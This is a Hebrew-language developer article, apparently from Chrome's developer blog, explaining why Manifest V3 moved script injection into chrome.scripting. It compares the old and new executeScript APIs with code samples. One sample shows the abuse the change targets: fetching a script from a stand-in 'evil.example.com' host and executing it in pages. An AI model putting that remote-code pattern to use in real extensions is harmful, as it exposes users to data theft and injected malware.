Manifest V3 כולל כמה שינויים בפלטפורמת התוספים של Chrome. בפוסט הזה נסביר את המניעים לשינויים ואת השינויים שהתרחשו בעקבות אחד מהשינויים הבולטים ביותר: ההשקה של ממשק ה-API chrome.scripting
.
מה זה chrome.scripting?
כמו שהשם מרמז, chrome.scripting
הוא מרחב שמות חדש שהושק במניפסט מגרסה V3, אחראי ליכולות של החדרת סקריפט וסגנון.
מפתחים שיצרו תוספים ל-Chrome בעבר עשויים להכיר שיטות של Manifest V2 ב-Tabs API, כמו chrome.tabs.executeScript
ו-chrome.tabs.insertCSS
. השיטות האלה מאפשרות לתוספים להחדיר סקריפטים וסגנונות עיצוב לדפים, בהתאמה. במניפסט מגרסה V3, היכולות האלה עברו אל chrome.scripting
, ואנחנו מתכננים להרחיב את ה-API הזה עם יכולות חדשות בעתיד.
למה כדאי ליצור ממשק API חדש?
בעקבות שינוי כזה, אחת השאלות הראשונות שנוטות לעלות היא "למה?"
כמה גורמים שונים הובילו את צוות Chrome להחליט להציג מרחבים שמות חדשים ליצירת סקריפטים.
קודם כל, ה-Tabs API הוא סוג של חלונית הזזה לאיתור תכונות. שנית, היינו צריכים לבצע שינויי תוכנה שעלולים לגרום לכשלים ב-API הקיים של executeScript
. שלישית, ידענו שאנחנו רוצים להרחיב את יכולות כתיבת הסקריפטים לתוספים. יחד, החששות האלה הגדירו בבירור את הצורך במרחב שמות חדש בשביל יכולות כתיבת סקריפטים.
מגירות האשפה
אחת הבעיות שהטרידו את צוות התוספים בשנים האחרונות היא עומס יתר על ה-API של chrome.tabs
. כשהשקנו את ה-API הזה, רוב היכולות שהוא סיפק היו קשורות לקונספט הרחב של כרטיסיית בדפדפן. עם זאת, גם אז מדובר היה באוסף תכונות שרירותי, והוא רק הלך וגדל עם השנים.
עד שגרסת Manifest V3 שוחררה, Tabs API התרחב כך שיכלול ניהול בסיסי של כרטיסיות, ניהול של בחירות, ארגון חלונות, שליחת הודעות, בקרת זום, ניווט בסיסי, כתיבת סקריפט ועוד כמה יכולות קטנות יותר. למרות שכל אלה חשובים, זה עלול להיות קצת מפחיד עבור מפתחים בתחילת התהליך, וגם עבור צוות Chrome, בזמן שאנחנו מתחזקים את הפלטפורמה ומביאים בחשבון בקשות מקהילת המפתחים.
גורם נוסף שמסבך את העניין הוא שההרשאה tabs
לא מובנת היטב. הרשאות רבות אחרות מגבילות את הגישה ל-API מסוים (למשל storage
), אבל ההרשאה הזו קצת חריגה כי היא מעניקה לתוסף גישה רק למאפיינים רגישים במכונות של Tab (וכתוצאה מכך התוסף משפיע גם על ה-API של Windows). באופן מובן, מפתחי תוספים רבים חושבים בטעות שהם צריכים את ההרשאה הזו כדי לגשת ל-methods ב-API של Tabs, כמו chrome.tabs.create
או, באופן כללי, chrome.tabs.executeScript
. הוצאת הפונקציונליות מ-Tabs API עוזרת לפתור את הבלבול הזה.
שינויי תוכנה שעלולים לגרום לכשלים
כשעיצבנו את Manifest V3, אחת מהבעיות העיקריות שרצינו לטפל בהן הייתה ניצול לרעה ותוכנות זדוניות שמופעל בהן 'קוד באירוח מרוחק' – קוד שמופעל אבל לא נכלל בחבילת התוסף. לעיתים קרובות מחברי תוספים פוגעניים מפעילים סקריפטים שנשלפו משרתים מרוחקים כדי לגנוב נתוני משתמשים, להחדיר תוכנות זדוניות ולחמוק מזיהוי. גם שחקנים טובים משתמשים ביכולת הזו, אבל בסופו של דבר אנחנו מרגישים שזה פשוט מסוכן מדי להישאר כפי שהיה.
יש כמה דרכים שבהן תוספים יכולים להריץ קוד לא ארוז, אבל השיטה הרלוונטית כאן היא השיטה chrome.tabs.executeScript
של Manifest V2. השיטה הזו מאפשרת לתוסף להריץ מחרוזת קוד שרירותית בכרטיסיית יעד. המשמעות היא שמפתח זדוני יכול לאחזר סקריפט שרירותי משרת מרוחק ולהריץ אותו בכל דף שהתוסף יכול לגשת אליו. ידענו שאם נרצה לטפל בבעיה של הקוד מרחוק, נצטרך להסיר את התכונה הזו.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
רצינו גם למחוק בעיות אחרות, קלות יותר בעיצוב של גרסת המניפסט V2, ולהפוך את ה-API לכלי מלוטש וצפוי יותר.
למרות שיכולנו לשנות את החתימה של השיטה הזו ב-Tabs API, הרגשנו שכאשר שינויי תוכנה שעלולים לגרום לכשלים ושימוש ביכולות חדשות (כמו שמתואר בקטע הבא), לכולם יהיה קל יותר להגיע להפסקה נקייה.
הרחבת יכולות הסקריפטים
שיקול נוסף שהשפיע על תהליך התכנון של Manifest V3 היה הרצון להוסיף יכולות סקריפט נוספות לפלטפורמת התוספים של Chrome. ספציפית, רצינו להוסיף תמיכה בסקריפטים של תוכן דינמי ולהרחיב את היכולות של ה-method executeScript
.
התמיכה בסקריפטים של תוכן דינמי היא בקשה ותיקה לשימוש ב-Chromium. נכון לעכשיו, תוספי Chrome ב-Manifest V2 וב-Manifest V3 יכולים להצהיר באופן סטטי על סקריפטים של תוכן בקובץ manifest.json
שלהם בלבד. הפלטפורמה לא מספקת דרך לרשום סקריפטים חדשים של תוכן, לשנות את הרישום של סקריפטים של תוכן או לבטל את הרישום של סקריפטים של תוכן בזמן הריצה.
ידענו שאנחנו רוצים לטפל בבקשה הזו להוספת תכונה במניפסט מגרסה V3, אבל אף אחד מממשקי ה-API הקיימים שלנו לא נראה כמו הבית הנכון. שקלנו גם להתאים את Firefox ל-Content Scripts API, אבל בשלב מוקדם מאוד זיהינו כמה חסרונות עיקריים לגישה הזו.
קודם כול, ידענו שיהיו לנו חתימות לא תואמות (למשל, ביטול התמיכה במאפיין code
). שנית, ל-API שלנו הייתה קבוצה שונה של אילוצים בתכנון (למשל, צורך ברישום שיישאר בתוקף מעבר לחיי השירות של ה-service worker). לבסוף, מרחב השמות הזה עלול להוביל אותנו גם לפונקציונליות של סקריפטים של תוכן, במקרים שבהם אנחנו חושבים על כתיבת סקריפטים בתוספים באופן נרחב יותר.
בנוסף, רצינו להרחיב את היכולות של ה-API הזה מעבר למה שגרסת ה-Tabs API תומכת בו. באופן ספציפי יותר, רצינו לתמוך בפונקציות ובארגומנטים, לטרגט בקלות רבה יותר מסגרות ספציפיות ולטרגט הקשרים שאינם 'tab'.
בהמשך, אנחנו גם שוקלים איך תוספים יכולים לקיים אינטראקציה עם אפליקציות PWA מותקנות ועם הקשרים אחרים שלא ממופים באופן קונספטואלי ל'כרטיסיות'.
שינויים בין tabs.executeScript לבין scripting.executeScript
בהמשך הפוסט הזה, אני רוצה לבחון מקרוב את הדמיון וההבדלים בין chrome.tabs.executeScript
לבין chrome.scripting.executeScript
.
החדרת פונקציה עם ארגומנטים
בהתחשב באיך שהפלטפורמה תצטרך להתפתח לאור הגבלות קוד באירוח מרוחק, רצינו למצוא איזון בין העוצמה הגולמית של ביצוע קוד שרירותי לבין היכולת לאפשר רק סקריפטים של תוכן סטטי. הפתרון שעשינו הוא לאפשר לתוספים להחדיר פונקציה כסקריפט תוכן ולהעביר מערך של ערכים כארגומנטים.
בואו נסתכל על דוגמה (בצורה פשוטה מדי). נניח שאנחנו רוצים להחדיר סקריפט שמברך את המשתמש בשם כשהמשתמש לוחץ על לחצן הפעולה של התוסף (הסמל בסרגל הכלים). במניפסט מגרסה V2, יכולנו ליצור מחרוזת קוד באופן דינמי ולהפעיל את הסקריפט בדף הנוכחי.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
לא ניתן להשתמש בקוד שלא נכלל בחבילת התוסף בתוספים של Manifest V3, אבל המטרה שלנו הייתה לשמר חלק מהדינמיות של בלוקים שרירותיים של קוד שמאפשרים לתוספים של Manifest V2 לפעול. הגישה של הפונקציה והארגומנטים מאפשרת לבודקים בחנות האינטרנט של Chrome, למשתמשים ולגורמים אחרים שמתעניינים בהם להעריך בצורה מדויקת יותר את הסיכונים שהתוסף יכול לעשות, ובמקביל לאפשר למפתחים לשנות את ההתנהגות של תוסף בזמן ריצה, על סמך הגדרות המשתמש או מצב האפליקציה.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
מסגרות טירגוט
בנוסף, רצינו לשפר את האינטראקציה של המפתחים עם המסגרות ב-API המעודכן. הגרסה Manifest V2 של executeScript
אפשרה למפתחים לטרגט את כל המסגרות בכרטיסייה או מסגרת ספציפית בכרטיסייה. אפשר להשתמש ב-chrome.webNavigation.getAllFrames
כדי לקבל רשימה של כל הפריימים בכרטיסייה.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
בגרסה השלישית של המניפסט, החלפנו את מאפיין המספר השלם האופציונלי frameId
באובייקט האפשרויות במערך אופציונלי של מספרים שלמים מסוג frameIds
. כך המפתחים יכולים לטרגט כמה פריימים בקריאה יחידה ל-API.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
תוצאות הזרקת סקריפט
שיפרנו גם את הדרך שבה אנחנו מחזירים תוצאות של החדרת סקריפט במניפסט מגרסה V3. 'תוצאה' היא בעצם ההצהרה האחרונה שמועברת להערכה בסקריפט. זה דומה לערך שמוחזר כשמפעילים בלוק של קוד באמצעות eval()
או מפעילים בלוק קוד במסוף Chrome DevTools, אבל הוא עובר סריאליזציה כדי להעביר את התוצאות בין תהליכים שונים.
ב-Manifest V2, הפונקציות executeScript
ו-insertCSS
יחזירו מערך של תוצאות ביצוע פשוטות.
המצב הזה בסדר אם יש רק נקודת הזרקה אחת, אבל סדר התוצאות לא מובטח בהחדרה למספר פריימים, כך שאין דרך לזהות איזו תוצאה משויכת לכל פריים.
לצורך דוגמה קונקרטית, נבחן את מערכי results
שהוחזרו על ידי מניפסט מגרסה V2 ואת גרסת מניפסט מגרסה V3 של אותו תוסף. שתי הגרסאות של התוסף יזריקו את אותו סקריפט תוכן, ונשווה בין התוצאות באותו דף הדגמה.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
כשמריצים את גרסת Manifest V2, מקבלים בחזרה מערך של [1, 0, 5]
. איזו תוצאה תואמת למסגרת הראשית ואיזו ל-iframe? ערך ההחזרה לא אומר לנו, ולכן אנחנו לא יודעים בוודאות.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
בגרסה Manifest V3, השדה results
מכיל עכשיו מערך של אובייקטים של תוצאות במקום מערך של רק תוצאות הבדיקה, ואובייקטי התוצאות מזהים בבירור את המזהה של המסגרת לכל תוצאה. כך קל יותר למפתחים להשתמש בתוצאה ולבצע פעולה במסגרת מסוימת.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
סיכום
שינויים בגרסאות המניפסט הם הזדמנות נדירה לחשוב מחדש על ממשקי ה-API של התוספים ולחדש אותם. המטרה שלנו
במניפסט מגרסה V3 היא לשפר את חוויית משתמש הקצה באמצעות הפיכת התוספים לבטוחים יותר, ובמקביל משפרים את חוויית המפתח. בעזרת ההוספה של chrome.scripting
ב-Manifest V3, הצלחנו לשפר את Tabs API, ליצור מחדש את executeScript
כפלטפורמה מאובטחת יותר של תוספי, ולסלול את הדרך ליכולות חדשות של סקריפטים שיושקו בהמשך השנה.